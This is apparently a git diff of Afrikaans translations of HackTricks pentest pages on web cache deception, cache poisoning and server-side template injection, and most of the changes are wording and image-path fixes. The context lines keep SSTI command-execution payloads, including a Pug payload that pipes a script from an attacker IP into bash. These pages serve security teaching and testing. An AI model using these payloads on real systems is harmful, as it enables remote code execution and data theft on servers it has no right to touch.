Eerstens, let daarop dat **uitbreidings** soos `.css`, `.js`, `.png` ens. gewoonlik **gekonfigureer** is om in die **cache** **gestoor** te word. Daarom, as jy toegang verkry tot `www.example.com/profile.php/nonexistent.js`, sal die cache waarskynlik die antwoord stoor omdat dit die `.js` **uitbreiding** sien. Maar, as die **toepassing** **herhaal** met die **sensitiewe** gebruikersinhoud wat in _www.example.com/profile.php_ gestoor is, kan jy daardie inhoud van ander gebruikers **steel**.
|
||||
|
||||
Ander dinge om te toets:
|
||||
|
||||
|
@ -222,12 +227,12 @@ Ander dinge om te toets:
|
|||
* _Gebruik minder bekende uitbreidings soos_ `.avif`
|
||||
|
||||
Nog 'n baie duidelike voorbeeld kan in hierdie skrywe gevind word: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
|
||||
In die voorbeeld word verduidelik dat as jy 'n nie-bestaande bladsy soos _http://www.example.com/home.php/non-existent.css_ laai, die inhoud van _http://www.example.com/home.php_ (**met die gebruiker se sensitiewe inligting**) gaan teruggegee word en die cache-bediener gaan die resultaat stoor.\
|
||||
In die voorbeeld word verduidelik dat as jy 'n nie-bestaande bladsy soos _http://www.example.com/home.php/non-existent.css_ laai, die inhoud van _http://www.example.com/home.php_ (**met die gebruiker se sensitiewe inligting**) gaan teruggegee word en die cache bediener gaan die resultaat stoor.\
|
||||
Dan kan die **aanvaller** toegang verkry tot _http://www.example.com/home.php/non-existent.css_ in hul eie blaaiert en die **vertrouelijke inligting** van die gebruikers wat voorheen toegang verkry het, waarneem.
|
||||
|
||||
Let daarop dat die **cache proxy** moet wees **gekonfigureer** om lêers **te cache** gebaseer op die **uitbreiding** van die lêer (_.css_) en nie gebaseer op die content-type nie. In die voorbeeld _http://www.example.com/home.php/non-existent.css_ sal 'n `text/html` content-type hê in plaas van 'n `text/css` mime tipe (wat verwag word vir 'n _.css_ lêer).
|
||||
Let daarop dat die **cache proxy** moet wees **gekonfigureer** om lêers **te cache** gebaseer op die **uitbreiding** van die lêer (_.css_) en nie gebaseer op die content-type nie. In die voorbeeld _http://www.example.com/home.php/non-existent.css_ sal 'n `text/html` content-type hê in plaas van 'n `text/css` mime tipe (wat die verwagte vir 'n _.css_ lêer is).
|
||||
|
||||
Leer hier oor hoe om [Cache Deceptions-aanvalle uit te voer wat HTTP Request Smuggling misbruik](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception).
|
||||
Leer hier oor hoe om [Cache Deceptions aanvalle uit te voer wat HTTP Request Smuggling misbruik](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception).
|
||||
|
||||
## Automatic Tools
|
||||
|
||||
|
@ -245,21 +250,21 @@ Leer hier oor hoe om [Cache Deceptions-aanvalle uit te voer wat HTTP Request Smu
|
|||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) om maklik te bou en **werkvloei** te **automate** wat deur die wêreld se **mees gevorderde** gemeenskapstools aangedryf word.\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=cache-deception) om maklik te bou en **werkvloei** te **automate** wat deur die wêreld se **mees gevorderde** gemeenskap gereedskap aangedryf word.\
|
||||
Kry Toegang Vandag:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Leer & oefen AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Kyk na die [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) of die [**telegram group**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Cache Poisoning to DoS
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Leer & oefen AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -29,7 +29,7 @@ X-Oversize-Hedear:Big-Value-000000000000000
|
|||
```
|
||||
* **HTTP Meta Karakter (HMC) & Onverwagte waardes**
|
||||
|
||||
Stuur 'n kop wat sommige **skadelike meta karakters** soos `\n` en `\r` bevat. Om die aanval te laat werk, moet jy eers die cache omseil.
|
||||
Stuur 'n kop wat sommige **skadelike meta karakters** soos en bevat. Ten einde die aanval te laat werk, moet jy eers die cache omseil.
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: redacted.com
|
||||
|
@ -58,7 +58,7 @@ Invalid Header
|
|||
```
|
||||
* **HTTP Metode Oorskrywing Aanval (HMO)**
|
||||
|
||||
As die bediener die verandering van die HTTP-metode met koptekste soos `X-HTTP-Method-Override`, `X-HTTP-Method` of `X-Method-Override` ondersteun. Dit is moontlik om 'n geldige bladsy aan te vra deur die metode te verander sodat die bediener dit nie ondersteun nie, sodat 'n slegte antwoord in die cache gestoor word:
|
||||
As die bediener die verandering van die HTTP metode met koptekste soos `X-HTTP-Method-Override`, `X-HTTP-Method` of `X-Method-Override` ondersteun. Dit is moontlik om 'n geldige bladsy aan te vra deur die metode te verander sodat die bediener dit nie ondersteun nie, sodat 'n slegte antwoord in die cache gestoor word:
|
||||
```
|
||||
GET /blogs HTTP/1.1
|
||||
Host: redacted.com
|
||||
|
@ -94,7 +94,7 @@ CF-Cache-Status: miss
|
|||
```
|
||||
* **Gasheer-kop geval normalisering**
|
||||
|
||||
Die gasheer-kop behoort nie gevalsensitief te wees nie, maar sommige webwerwe verwag dit om kleinletters te wees en gee 'n fout as dit nie is nie:
|
||||
Die gasheer-kop moet gevalsensitief wees, maar sommige webwerwe verwag dit om kleinletters te wees en gee 'n fout as dit nie is nie:
|
||||
```
|
||||
GET /img.png HTTP/1.1
|
||||
Host: Cdn.redacted.com
|
||||
|
@ -106,7 +106,7 @@ Not Found
|
|||
```
|
||||
* **Pad normalisering**
|
||||
|
||||
Sommige bladsye sal foutkode teruggee deur data URLencode in die pad te stuur, egter, die cache bediener sal die pad URLdecode en die antwoord vir die URLdecoded pad stoor:
|
||||
Sommige bladsye sal foutkode teruggee wanneer data URLencode in die pad gestuur word, egter, die cache bediener sal die pad URLdecode en die antwoord vir die URLdecoded pad stoor:
|
||||
```
|
||||
GET /api/v1%2e1/user HTTP/1.1
|
||||
Host: redacted.com
|
||||
|
@ -137,8 +137,8 @@ Cache: hit
|
|||
* [https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------)
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Leer & oefen AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -0,0 +1,79 @@
|
|||
# Cache Poisoning via URL discrepancies
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Dit is 'n opsomming van die tegnieke wat in die pos [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) voorgestel word om cache poisoning aanvalle **te misbruik deur verskille tussen cache proxies en webbedieners.**
|
||||
|
||||
{% hint style="info" %}
|
||||
Die doel van hierdie aanval is om die **cache bediener te laat dink dat 'n statiese hulpbron gelaai word** sodat dit dit kas, terwyl die cache bediener 'n deel van die pad as cache sleutel stoor, maar die webbediener reageer deur 'n ander pad op te los. Die webbediener sal die werklike pad oplos wat 'n dinamiese bladsy sal laai (wat sensitiewe inligting oor die gebruiker kan stoor, 'n kwaadwillige payload soos XSS of om te herlei om 'n JS-lêer van die aanvaller se webwerf te laai, byvoorbeeld).
|
||||
{% endhint %}
|
||||
|
||||
## Delimiters
|
||||
|
||||
**URL begrenzers** verskil volgens raamwerk en bediener, wat die manier waarop versoeke gerouteer en antwoorde hanteer word, beïnvloed. Sommige algemene oorsprong begrenzers is:
|
||||
|
||||
* **Puntkomma**: Gebruik in Spring vir matriks veranderlikes (bv. `/hello;var=a/world;var1=b;var2=c` → `/hello/world`).
|
||||
* **Punt**: Spesifiseer antwoordformaat in Ruby on Rails (bv. `/MyAccount.css` → `/MyAccount`)
|
||||
* **Null Byte**: Verkort pades in OpenLiteSpeed (bv. `/MyAccount%00aaa` → `/MyAccount`).
|
||||
* **Nuwe lyn Byte**: Skei URL-komponente in Nginx (bv. `/users/MyAccount%0aaaa` → `/account/MyAccount`).
|
||||
|
||||
Ander spesifieke begrenzers kan gevind word deur hierdie proses:
|
||||
|
||||
* **Stap 1**: Identifiseer nie-kasbare versoeke en gebruik dit om te monitor hoe URL's met potensiële begrenzers hanteer word.
|
||||
* **Stap 2**: Voeg ewekansige agtervoegsels by pades en vergelyk die bediener se antwoord om te bepaal of 'n karakter as 'n begrenser funksioneer.
|
||||
* **Stap 3**: Stel potensiële begrenzers voor die ewekansige agtervoegsel in om te sien of die antwoord verander, wat die gebruik van 'n begrenser aandui.
|
||||
|
||||
## Normalisering & Kodes
|
||||
|
||||
* **Doel**: URL-parsers in beide cache en oorsprong bedieners normaliseer URL's om pades te onttrek vir eindpuntkaarte en cache sleutels.
|
||||
* **Proses**: Identifiseer padbegrenzers, onttrek en normaliseer die pad deur karakters te dekodeer en punt-segmente te verwyder.
|
||||
|
||||
### **Kodes**
|
||||
|
||||
Verskillende HTTP bedieners en proxies soos Nginx, Node, en CloudFront dekodeer begrenzers anders, wat lei tot inkonsekwentheid oor CDNs en oorsprong bedieners wat misbruik kan word. Byvoorbeeld, as die webbediener hierdie transformasie uitvoer `/myAccount%3Fparam` → `/myAccount?param` maar die cache bediener hou die pad `/myAccount%3Fparam` as sleutel, is daar 'n inkonsekwentheid. 
|
||||
|
||||
'n Manier om vir hierdie inkonsekwenthede te kyk, is om versoeke te stuur met URL-kodering van verskillende karakters nadat die pad sonder enige kodering gelaai is en te kyk of die gekodeerde pad se antwoord van die kas antwoord gekom het.
|
||||
|
||||
### Punt segment
|
||||
|
||||
Die padnormalisering waar punte betrokke is, is ook baie interessant vir cache poisoning aanvalle. Byvoorbeeld, `/static/../home/index` of `/aaa..\home/index`, sommige cache bedieners sal hierdie pades met hulself as die sleutels kas, terwyl ander die pad kan oplos en `/home/index` as die cache sleutel gebruik.\
|
||||
Net soos voorheen, help om hierdie soort versoeke te stuur en te kyk of die antwoord van die kas verkry is, om te identifiseer of die antwoord op `/home/index` die antwoord is wat gestuur is wanneer daardie pades aangevra is.
|
||||
|
||||
## Statiese Hulpbronne
|
||||
|
||||
Verskeie cache bedieners sal altyd 'n antwoord kas as dit as staties geïdentifiseer word. Dit kan wees omdat:
|
||||
|
||||
* **Die uitbreiding**: Cloudflare sal altyd lêers met die volgende uitbreidings kas: 7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, klas, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx
|
||||
* Dit is moontlik om 'n kas te dwing om 'n dinamiese antwoord te stoor deur 'n begrenser en 'n statiese uitbreiding te gebruik, soos 'n versoek na `/home$image.png` wat `/home$image.png` sal kas en die oorsprong bediener sal reageer met `/home`
|
||||
* **Goed bekende statiese gidse**: Die volgende gidse bevat statiese lêers en daarom moet hul antwoord gekas word: /static, /assets, /wp-content, /media, /templates, /public, /shared
|
||||
* Dit is moontlik om 'n kas te dwing om 'n dinamiese antwoord te stoor deur 'n begrenser, 'n statiese gids en punte te gebruik soos: `/home/..%2fstatic/something` wat `/static/something` sal kas en die antwoord sal wees `/home`
|
||||
* **Statiese gidse + punte**: 'n Versoek na `/static/..%2Fhome` of na `/static/..%5Chome` mag as is gekas word, maar die antwoord mag `/home` wees
|
||||
* **Statiese lêers:** Sommige spesifieke lêers word altyd gekas soos `/robots.txt`, `/favicon.ico`, en `/index.html`. Wat misbruik kan word soos `/home/..%2Frobots.txt` waar die kas dalk `/robots.txt` sal stoor en die oorsprong bediener sal reageer op `/home`.
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
|
@ -1,8 +1,8 @@
|
|||
# SSTI (Server Side Template Injection)
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Leer & oefen AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -56,7 +56,7 @@ Die identifisering van die sjabloon-enjin behels die analise van foutboodskappe
|
|||
|
||||
### [TInjA](https://github.com/Hackmanit/TInjA)
|
||||
|
||||
'n Doeltreffende SSTI + CSTI skandeerder wat nuwerwets poliglotte gebruik.
|
||||
'n Doeltreffende SSTI + CSTI skandeerder wat nuwerwets polyglots gebruik.
|
||||
```bash
|
||||
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
|
||||
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
|
||||
|
@ -213,7 +213,7 @@ http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
|||
```java
|
||||
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
|
||||
```
|
||||
**Deur filters te omseil**
|
||||
**Om filters te omseil**
|
||||
|
||||
Meervoudige veranderlike-uitdrukkings kan gebruik word, as `${...}` nie werk nie, probeer `#{...}`, `*{...}`, `@{...}` of `~{...}`.
|
||||
|
||||
|
@ -282,6 +282,7 @@ Nuwe weergawe van Pebble :
|
|||
|
||||
|
||||
|
||||
|
||||
{% set bytes = (1).TYPE
|
||||
.forName('java.lang.Runtime')
|
||||
.methods[6]
|
||||
|
@ -386,7 +387,7 @@ Uitdrukkingstaal (EL) is 'n fundamentele kenmerk wat interaksie tussen die aanbi
|
|||
|
||||
* **JavaServer Faces (JSF)**: Gebruik EL om komponente in JSF-bladsye aan die ooreenstemmende agtergronddata en aksies te bind.
|
||||
* **JavaServer Pages (JSP)**: EL word in JSP gebruik om toegang te verkry tot en data binne JSP-bladsye te manipuleer, wat dit makliker maak om bladsy-elemente aan die toepassingsdata te koppel.
|
||||
* **Contexts and Dependency Injection for Java EE (CDI)**: EL integreer met CDI om naatlose interaksie tussen die weblaag en bestuurde bone te verseker, wat 'n meer samehangende toepassingsstruktuur waarborg.
|
||||
* **Contexts and Dependency Injection for Java EE (CDI)**: EL integreer met CDI om naatlose interaksie tussen die weblaag en bestuurde bone te fasiliteer, wat 'n meer samehangende toepassingsstruktuur verseker.
|
||||
|
||||
Kyk na die volgende bladsy om meer te leer oor die **uitbuiting van EL-interpretators**:
|
||||
|
||||
|
@ -508,7 +509,7 @@ Bladsy sjabloon:
|
|||
<h1>User Profile</h1>
|
||||
<p>Hello, <?=$this->e($name)?></p>
|
||||
```
|
||||
Layout-sjabloon:
|
||||
Layout sjabloon:
|
||||
```html
|
||||
<html>
|
||||
<head>
|
||||
|
@ -525,7 +526,7 @@ Layout-sjabloon:
|
|||
|
||||
### PHPlib en HTML\_Template\_PHPLIB (PHP)
|
||||
|
||||
[HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) is dieselfde as PHPlib, maar na Pear oorgedra.
|
||||
[HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) is dieselfde as PHPlib, maar na Pear oorgedra.
|
||||
|
||||
`authors.tpl`
|
||||
```html
|
||||
|
@ -603,7 +604,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
|
|||
|
||||
### patTemplate (PHP)
|
||||
|
||||
> [patTemplate](https://github.com/wernerwa/pat-template) nie-kompilerende PHP templating engine, wat XML merke gebruik om 'n dokument in verskillende dele te verdeel
|
||||
> [patTemplate](https://github.com/wernerwa/pat-template) nie-kompilerende PHP templating engine, wat XML-tags gebruik om 'n dokument in verskillende dele te verdeel
|
||||
```xml
|
||||
<patTemplate:tmpl name="page">
|
||||
This is the main page.
|
||||
|
@ -685,7 +686,7 @@ URLencoded:
|
|||
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}`
|
||||
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}`
|
||||
|
||||
**Voorbeeld bedienerkant weergawe**
|
||||
**Voorbeeld bediener kant weergawe**
|
||||
```javascript
|
||||
var pugjs = require('pug');
|
||||
home = pugjs.render(injected_page)
|
||||
|
@ -741,7 +742,7 @@ home = pugjs.render(injected_page)
|
|||
|
||||
### Python
|
||||
|
||||
Kyk na die volgende bladsy om truuks oor **arbitrary command execution bypassing sandboxes** in python te leer:
|
||||
Kyk na die volgende bladsy om truuks te leer oor **arbitrary command execution wat sandboxes omseil** in python:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||
|
@ -765,6 +766,7 @@ Kyk na die volgende bladsy om truuks oor **arbitrary command execution bypassing
|
|||
|
||||
|
||||
|
||||
|
||||
{{os.system('whoami')}}
|
||||
{{os.system('whoami')}}
|
||||
```
|
||||
|
@ -797,6 +799,7 @@ Kyk na die volgende bladsy om truuks oor **arbitrary command execution bypassing
|
|||
|
||||
|
||||
|
||||
|
||||
{{settings.SECRET_KEY}}
|
||||
{{4*4}}[[5*5]]
|
||||
{{7*'7'}} would result in 7777777
|
||||
|
@ -882,7 +885,7 @@ Die .NET `System.Diagnostics.Process.Start` metode kan gebruik word om enige pro
|
|||
|
||||
### Mojolicious (Perl)
|
||||
|
||||
Alhoewel dit Perl is, gebruik dit merke soos ERB in Ruby.
|
||||
Alhoewel dit perl is, gebruik dit etikette soos ERB in Ruby.
|
||||
|
||||
* `<%= 7*7 %> = 49`
|
||||
* `<%= foobar %> = Error`
|
||||
|
@ -906,9 +909,9 @@ vbnet Copy code
|
|||
|
||||
**RCE Exploitation**
|
||||
|
||||
RCE uitbuiting verskil aansienlik tussen `html/template` en `text/template`. Die `text/template` module laat toe dat enige publieke funksie direk aangeroep word (met die “call” waarde), wat nie in `html/template` toegelaat word nie. Dokumentasie vir hierdie modules is beskikbaar [hier vir html/template](https://golang.org/pkg/html/template/) en [hier vir text/template](https://golang.org/pkg/text/template/).
|
||||
RCE uitbuiting verskil aansienlik tussen `html/template` en `text/template`. Die `text/template` module laat toe om enige publieke funksie direk aan te roep (met die “call” waarde), wat nie toegelaat word in `html/template`. Dokumentasie vir hierdie modules is beskikbaar [hier vir html/template](https://golang.org/pkg/html/template/) en [hier vir text/template](https://golang.org/pkg/text/template/).
|
||||
|
||||
Vir RCE via SSTI in Go kan objekmetodes aangeroep word. Byvoorbeeld, as die verskafde objek 'n `System` metode het wat opdragte uitvoer, kan dit soos volg uitgebuit word: `{{ .System "ls" }}`. Toegang tot die bronkode is gewoonlik nodig om dit uit te buit, soos in die gegewe voorbeeld:
|
||||
Vir RCE via SSTI in Go kan objekmetodes aangeroep word. Byvoorbeeld, as die verskafde objek 'n `System` metode het wat opdragte uitvoer, kan dit soos `{{ .System "ls" }}` uitgebuit word. Toegang tot die bronkode is gewoonlik nodig om dit uit te buit, soos in die gegewe voorbeeld:
|
||||
```go
|
||||
func (p Person) Secret (test string) string {
|
||||
out, _ := exec.Command(test).CombinedOutput()
|
||||
|
@ -959,8 +962,8 @@ As jy dink dit kan nuttig wees, lees:
|
|||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Leer & oefen AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,15 +1,15 @@
|
|||
# Jinja2 SSTI
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Leer & oefen AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
